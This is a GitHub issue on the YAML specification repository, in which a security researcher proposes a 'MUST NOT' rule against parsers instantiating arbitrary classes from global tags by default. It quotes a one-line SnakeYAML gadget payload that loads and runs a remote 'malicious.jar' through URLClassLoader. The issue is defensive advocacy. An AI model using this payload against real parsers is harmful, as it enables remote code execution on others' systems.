yaml / yaml-spec

YAML Specification
http://yaml.org/spec/
348 stars 54 forks source link

[SECURITY] Forbid Arbitrary Deserialization via Global Tags #294

Open JLLeitschuh opened 1 year ago

JLLeitschuh commented 1 year ago

My name is Jonathan Leitschuh. I'm an Open Source Software Security Researcher, currently for both the Dan Kaminsky Fellowship and the Open Source Security Foundation (OSSF) project Alpha Omega.

I'm reaching out because, while the YAML spec doesn't implicitly have a vulnerability as far as I can tell, the way that most YAML parsers implement their processing of global tags lead to arbitrary code execution vulnerabilities via deserialization gadget chains.

This is because most YAML parsers chose to interpret global tags as an indication to classload, and then instantiate any classes they see declared in a global tag.

As an example, this vulnerability has famously existed in SnakeYAML for years, and causes SnakeYaml to download and execute the code contained in a malicious JAR file.

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/malicious.jar"]]]]

This vulnerability is not unique to SnakeYaml and Java though, this vulnerability has appeared in PyYAML, the Ruby YAML parser, and several other parsers.

Although the implementation of how to handle global tags is left up to individual parsers, this vulnerability has appeared pervasively.

I'd like to propose that the next version of the YAML specification attempts to address this, potentially by discouraging the support of global tags as a feature YAML parsers implement by default, but instead exist as a feature that parser end-users are explicitly required to opt-in to.

References

Proposal

I propose that the next version of the specification include an explicit MUST NOT in the spec, for example.

YAML Parsers MUST NOT instantiate arbitrary classes by default from global tags, without explicit opt-in.

I'm concerned that if it's not an explicit 'MUST NOT' then it's more a suggestion to parser implementers, not a requirement.

This is, in many ways, a security consideration, which are also often flagged in RFC Specifications.

JLLeitschuh commented 1 year ago

A discussion on this topic has been raised here: https://matrix.to/#/!rqjZtudXEGTclzhLdC:yaml.io/$027ItPjse90RwvnDmX9CHKjw_J4o3LNOKMH5YNmelLw?via=yaml.io&via=matrix.org&via=mozilla.org